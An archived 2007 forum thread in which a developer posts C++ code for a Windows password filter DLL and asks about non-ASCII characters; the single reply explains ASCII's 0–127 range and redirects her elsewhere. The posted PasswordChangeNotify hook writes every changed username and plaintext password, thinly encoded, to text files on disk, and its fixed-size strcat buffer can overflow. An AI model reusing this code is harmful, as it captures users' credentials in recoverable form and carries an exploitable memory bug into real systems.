By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
449,405 Members | 1,102 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 449,405 IT Pros & Developers. It's quick & easy.

Get ASCII value for character when higher than 127

P: n/a
Hello,

For work, I need to write a password filter. The problem is that my C+
+ experience is only some practice in school, 10 years ago. I now
develop in C# which is completely different to me.

But, the password filter needs to be built, so I'm doing my best.
First of all, I am creating an xml string that contains both username
and password, and then I want to write the ascii values for all
characters to a textfile. By using the ascii values I am sure I can
store special characters, also in a textfile.

I got it working, but only when the password only contains characters
that have an ASCII value lower than 127. But, in windows it is
possible to change a password also to something that contains special
characters, like é, ë, or €.so I also need to be able to get these
characters in my filter.

Below is the code that works for characters with ASCII values lower
than 127. Can anyone tell me what I need to do to get this working for
all characters?

I've been searching and puzzling for two days now and haven't gotten
any closer to how to solve this.

Any help will be appreciated.

Thanks in advance,
Sandra
================================================== ================

#include <windows.h>
#include <ntsecapi.h>
#include <time.h>
#include <fstream>
#include <iostream>
#include "PwdHookNew.h"
#include <sstream>
#include <string>

using namespace std;

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

string GetASCIIString(string oristring)
{
unsigned char ch;

int i, j, k;
string numstrings;

ostringstream oss;

for(i=0;i<oristring.size();i++)
{
ch=oristring[i];
k = int(ch);

if (k<10)
{
oss << "000" << k << "-";
}
else if (k<100)
{
oss << "00" << k << "-";
}
else if(k<1000)
{
oss << "0" << k << "-";
}
else
{
oss << k << "-";
}
}
numstrings=oss.str();
oss.clear();

return numstrings;
}

NTSTATUS
NTAPI
PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING Password
)
{
const char* timeStringFormat = "%Y-%m-%d_%H-%M-%S";
const int timeStringLength = 20;
char timeString[timeStringLength];

// get current date and time
time_t t = time(0);
tm *curTime = localtime(&t);

strftime(timeString, timeStringLength, timeStringFormat,
curTime);

char path[80];
strcpy (path,"C:\\pwds\\");
strcat (path,timeString);
strcat (path,".txt");

char *usernameStr, *passwordStr;

usernameStr = (char*)calloc(1, (UserName->Length/2)+1);
passwordStr = (char*)calloc(1, (Password->Length/2)+1);
wcstombs(usernameStr, UserName->Buffer, (UserName->Length/2));
wcstombs(passwordStr, Password->Buffer, (Password->Length/2));

char xmlmsg[150];
strcpy (xmlmsg,"<userpwd><username>");
strcat (xmlmsg,usernameStr);
strcat (xmlmsg,"</username><password>");
strcat (xmlmsg,passwordStr);
strcat (xmlmsg,"</password></userpwd>");

string xmlASCII = GetASCIIString(xmlmsg);

ofstream outPwd(path, ios::app);

if (!outPwd)
{
ofstream outPwd(path, ios::out );
}

outPwd << xmlASCII ;
outPwd.close();

return STATUS_SUCCESS;
}

May 24 '07 #1
Share this Question
Share on Google+
1 Reply


P: n/a
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

ss***@wxs.nl wrote:
Hello,

For work, I need to write a password filter. The problem is that my C+
+ experience is only some practice in school, 10 years ago. I now
develop in C# which is completely different to me.
Well, the comp.lang.C group doesn't have anything to do with either C++ or C#
I hope you have a C question somewhere in here.

[snip]
I got it working, but only when the password only contains characters
that have an ASCII value lower than 127.
Don't you mean that you "got it working" when the char value was between 0 and
127? FWIW, the ASCII characterset /only/ contains 7bit characters, with
values ranging from 0 to 127.

But, in windows it is
possible to change a password also to something that contains special
characters, like é, ë, or ?.so I also need to be able to get these
characters in my filter.
It appears that your system does not use the ASCII characterset. You will
first have to establish /which/ characterset your system uses, then determine
how your program can manage these characters. It may mean that you have to use
the w_char_t data type (wide characters), or you might get away with using a
straight char to hold and manipulate them.
Below is the code that works for characters with ASCII values lower
than 127. Can anyone tell me what I need to do to get this working for
all characters?
Sorry, but that /is/ the range of all ASCII characters.

I've been searching and puzzling for two days now and haven't gotten
any closer to how to solve this.

Any help will be appreciated.

Thanks in advance,
Sandra
================================================== ================

#include <windows.h>
#include <ntsecapi.h>
#include <time.h>
#include <fstream>
#include <iostream>
Bzzzzzzzttt. Wrong.

It appears that you are not writing in the C language.
Plus, you are depending on implementation-specific (not portable) facilities
and tools. I'm sorry, but you will have to take your question elsewhere - my
suggestions would be one of the comp.os.ms-windows.* newsgroups, or perhaps
comp.lang.c++

[snip]

HTH
- --
Lew Pitcher

Master Codewright & JOAT-in-training | Registered Linux User #112576
http://pitcher.digitalfreehold.ca/ | GPG public key available by request
- ---------- Slackware - Because I know what I'm doing. ------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (GNU/Linux)
Comment: Armoured with GnuPG

iD8DBQFGVY+BagVFX4UWr64RAvTxAKDWDdxWGS36csYWFOJopS fYzlmj0wCg4kra
u1nEv0YuxgjhjQbZ3gUYmKE=
=DkXy
-----END PGP SIGNATURE-----
May 24 '07 #2

This discussion thread is closed

Replies have been disabled for this discussion.